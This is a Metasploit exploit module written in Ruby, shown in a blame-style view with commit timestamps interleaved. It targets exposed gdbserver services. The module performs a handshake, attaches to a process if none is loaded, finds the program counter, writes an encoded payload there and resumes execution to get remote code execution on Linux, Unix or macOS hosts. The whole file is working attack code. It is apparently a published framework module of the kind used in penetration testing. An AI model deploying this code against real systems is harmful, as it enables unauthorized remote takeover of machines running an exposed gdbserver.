2014-08-24 06:10:30 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2014-08-24 06:10:30 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
Rank = GreatRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::Gdb
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2014-08-24 07:22:15 +00:00
|
|
|
'Name' => 'GDB Server Remote Payload Execution',
|
|
|
|
'Description' => %q{
|
2014-09-08 19:00:34 +00:00
|
|
|
This module attempts to execute an arbitrary payload on a loose gdbserver service.
|
2014-08-24 06:10:30 +00:00
|
|
|
},
|
2014-08-24 07:22:15 +00:00
|
|
|
'Author' => [ 'joev' ],
|
2014-08-25 19:14:47 +00:00
|
|
|
'Targets' => [
|
|
|
|
[ 'x86 (32-bit)', { 'Arch' => ARCH_X86 } ],
|
|
|
|
[ 'x86_64 (64-bit)', { 'Arch' => ARCH_X86_64 } ]
|
|
|
|
],
|
2014-09-08 19:00:34 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
['URL', 'https://github.com/rapid7/metasploit-framework/pull/3691']
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Aug 24 2014',
|
2014-09-03 19:56:22 +00:00
|
|
|
'Platform' => %w(linux unix osx),
|
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'DefaultOptions' => {
|
|
|
|
'PrependFork' => true
|
|
|
|
}
|
2014-08-24 06:10:30 +00:00
|
|
|
))
|
2014-09-03 20:56:21 +00:00
|
|
|
|
|
|
|
register_options([
|
|
|
|
OptString.new('EXE_FILE', [
|
|
|
|
false,
|
|
|
|
"The exe to spawn when gdbserver is not attached to a process.",
|
|
|
|
'/bin/true'
|
|
|
|
])
|
|
|
|
], self.class)
|
2014-08-24 06:10:30 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
connect
|
|
|
|
|
|
|
|
print_status "Performing handshake with gdbserver..."
|
|
|
|
handshake
|
|
|
|
|
2014-09-03 21:07:27 +00:00
|
|
|
enable_extended_mode
|
|
|
|
|
2014-09-03 20:56:21 +00:00
|
|
|
begin
|
|
|
|
print_status "Stepping program to find PC..."
|
|
|
|
gdb_data = process_info
|
|
|
|
rescue BadAckError, BadResponseError
|
|
|
|
# gdbserver is running with the --multi flag and is not currently
|
|
|
|
# attached to any process. let's attach to /bin/true or something.
|
|
|
|
print_status "No process loaded, attempting to load /bin/true..."
|
|
|
|
run(datastore['EXE_FILE'])
|
|
|
|
gdb_data = process_info
|
|
|
|
end
|
|
|
|
|
|
|
|
gdb_pc, gdb_arch = gdb_data.values_at(:pc, :arch)
|
2014-08-24 06:10:30 +00:00
|
|
|
|
2014-09-03 20:56:21 +00:00
|
|
|
unless payload.arch.include? gdb_arch
|
|
|
|
fail_with(
|
|
|
|
Msf::Exploit::Failure::BadConfig,
|
|
|
|
"The payload architecture is incorrect: "+
|
|
|
|
"the payload is #{payload.arch.first}, but #{gdb_arch} was detected from gdb."
|
|
|
|
)
|
|
|
|
end
|
2014-08-25 19:14:47 +00:00
|
|
|
|
|
|
|
print_status "Writing payload at #{gdb_pc}..."
|
2014-09-03 20:56:21 +00:00
|
|
|
write(payload.encoded, gdb_pc)
|
2014-08-24 06:10:30 +00:00
|
|
|
|
|
|
|
print_status "Executing the payload..."
|
|
|
|
continue
|
|
|
|
|
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|